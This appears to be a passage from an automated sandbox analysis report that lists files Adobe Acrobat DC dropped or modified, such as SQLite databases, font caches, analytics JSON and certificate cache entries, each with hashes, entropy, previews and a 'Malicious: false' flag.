Preview:	2025/01/10-19:01:16.199 f30 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-19:01:16.202 f30 Recovering log #3.2025/01/10-19:01:16.203 f30 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.438575350111867
Encrypted:	false
SSDEEP:	384:CeLci5GqiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:0KurVgazUpUTTGt
MD5:	4526FEAD674B7362A5600B3FE90732DF
SHA1:	748914225FAE4565775BA0739088403D2521E41B
SHA-256:	D547256CF3456E48F95D6570EFA4F7CECC188AAF5AC1CB06B7F1BE7FDFB8E736
SHA-512:	658BA31F30A2B41AB867AF5436497C475B0E496C541D41CD8CACD72460F72EABC425020A05AF6B54A7491208C619FF88135E97EBFB7ED49FE03CA7D3C63C7EB4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2136767913119204
Encrypted:	false
SSDEEP:	24:7+tKG6wKLqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzv:7MfWLq/mFTIF3XmHjBoGGR+jMz+Lh6
MD5:	A7A59B4EEB5C84993C0C3B9691665A50
SHA1:	2D9770B62B276E9EFF7AF33A5E2CA3ED293C1364
SHA-256:	A79107EB32554BE7EC9AAF64804D923F0144042453D09DE90145EC0B766430E0
SHA-512:	A937124EF4A9A09CC0D32F48F965C7E4C0E06A27970634EAB7D464A449E30DD54D25EB74704FE5B9B672008E4DAF0E817E42EDC6989AE0591E7CDF47F4B5BBB7
Malicious:	false
Preview:	.... .c......r.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFklukKEttfllXlE/HT8k+jNNX8RolJuRdxLlGB9lQRYwpDdt:kK3k3eT8PNMa8RdWBwRd
MD5:	91479D1927E1139834F42275A5387C7F
SHA1:	47F783B65BF4E6072B196AC3323DB33F68FF52FB
SHA-256:	F3F04B13BEDFC69B573C6EFB13904F60CA3B8903AB5DA5A1EBC62BE009F3A75A
SHA-512:	F80576CA6CDA74DA5BEB474E38B0E2A1EA94351964E71C3372BFF26B30BEEF5CFCAD30D10C8AA392615F7AA54641B8BC6EF8772FBA12AFFB1A463A5F68F228B2
Malicious:	false
Preview:	p...... .........4...c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.234591379520364
Encrypted:	false
SSDEEP:	6:kKY1l/L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:Q1l/iDImsLNkPlE99SNxAhUe/3
MD5:	5A8B4E5D793C256AE62F0A4BE0EEEFB3
SHA1:	DDCBCE7AA3A51108A649D346E6F9361D2D7ECBA5
SHA-256:	E6C2C756E52BA1A9755D3284EE482D6B41BBC62C893ABF45F043A5A0BBD807D4
SHA-512:	CF49124EE6F3766403CCC65BA465257FDB8D347E4F7BC0F0750AE68704ABC056281C35E124D06C62192855E4DBC73DDE070D78F95138D75DC46123A6348B8543
Malicious:	false
Preview:	p...... .........OH..c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1812

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1812

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.359656142351366
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJM3g98kUwPeUkwRe9:YvXKXCUTbdvGMbLUkee9
MD5:	DF8E832057056F62A1B532F4C34C47E0
SHA1:	B08CBAB554EE2EF4DD626F8927CE274831EE8E1E
SHA-256:	76E82D725CBA22D59BFF3F7CC36CCC7356CFE4BB1B73AFCE976BE3E570207D49
SHA-512:	59AD0DBE8D889F81F95438CB2478F31EBD0E357F2E537619B4EF154D946739A19010F0D5843A10FE552808BD7EF3D889F1C0C86C75FD98CE8E4D7CB170C472A4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.295679958871793
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfBoTfXpnrPeUkwRe9:YvXKXCUTbdvGWTfXcUkee9
MD5:	10407C413E7C754F33B61DFE69B93A1C
SHA1:	8DEDDC4F8102EA601CE7FD6495E5CA676E57B786
SHA-256:	4B1F3A618858E9CE2FC58F9E5C9F141D209A7C8F8326E7EF201C85EF58D60555
SHA-512:	8FFB3BAADC60F30290AB58BD758612595D42426D45AF2D1461E95B8EFFD669948D2AAE82CDF1002307219A88B7E0D71C9FDA3CE7B00BDE8C0187CCC83FD14ADE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274877706840997
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfBD2G6UpnrPeUkwRe9:YvXKXCUTbdvGR22cUkee9
MD5:	6E0886A6045B281CF6A441FE720715F5
SHA1:	75E24134176D2A6EE0B82530231C3F638639039B
SHA-256:	FA811CEB78985162544B3B41A39FF0719770922EB4F4216E4A7F96E78B7C9197
SHA-512:	6838C02C62C8E6485B9A2E330B8788F54B76FA94A56079C2631854213C85C8A7F931185C7B09E0C7F1ED8CB32A0BCCD772A6050DC61CA7304E6EDF5886B1B8BE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.333804773504662
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfPmwrPeUkwRe9:YvXKXCUTbdvGH56Ukee9
MD5:	0D1FCEC82F3CEA568F07A2F624BE81DB
SHA1:	D64EC3147AA3361EB333173838A8BF5C0DE8BB5B
SHA-256:	2ACCE641B2758336F96C8542E7CB86021F59C61D949286E56C5644805843BA81
SHA-512:	04541259AFD78208A31418F40581119CA81D7D6D19F9E9FB928537118D0A22401F0D560C4E4573ECDF9C6975A466CA93EB95BA172E6F1DE3FB28111E6DD988C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688384006745989
Encrypted:	false
SSDEEP:	24:Yv6XCUXGpLgE9cQx8LennAvzBvkn0RCmK8czOCCSL1:YvLwGhgy6SAFv5Ah8cv/5
MD5:	25D678CFE1A949216B1141C3939BAF60
SHA1:	FF0B822E31139D8CA8799E01DC257583A75873DB
SHA-256:	418C3A8AB002718681C1CF34F3EFCBD62DA8814BFB11A5E82C45EDB4E48C4C53
SHA-512:	AB6B349A26184491A459D334681F6E50C3E850154D09BAE0E32740BC411F8BF740998A8A62B05117CA2A30F490A1B3B6B1D0909F54B7F7961D6477C109B961EA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.277737080756431
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJf8dPeUkwRe9:YvXKXCUTbdvGU8Ukee9
MD5:	EB0B1917D6671C833A8BEEEAAB81698D
SHA1:	80F614447F9AAB1CD18830EB124EA0D1E6E9B540
SHA-256:	77B1F86A094A273615383128ABE9153C5F08D4BFD4E9ED1CCAB02894471F7DA6
SHA-512:	3D270CD23E6E60BE50E806CB65A6A58EE34D7B2086C5E672287C888F31CA94A459315F0F15ADC3835E67A7ADB87FA66311EA432FDA37312B00026B55CE89866F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.281199660312378
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfQ1rPeUkwRe9:YvXKXCUTbdvGY16Ukee9
MD5:	02AAFDADE35C2ED58D5060329DCFD962
SHA1:	C86B4AF728BD76D8800C12D3BC982EB21C4F9DB3
SHA-256:	88C6E62601059F27252C67B4E9C759A6D3F3115E2813B5DFC820D4AF4A1107BD
SHA-512:	B636600E58808E582E89A3BD817263D6B513C71BB184F21297411F0AEACD19B27E2AE0615CADEE2ED758999D921D6713DD43FF1CD71BBB86A330B0915C2CD91F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

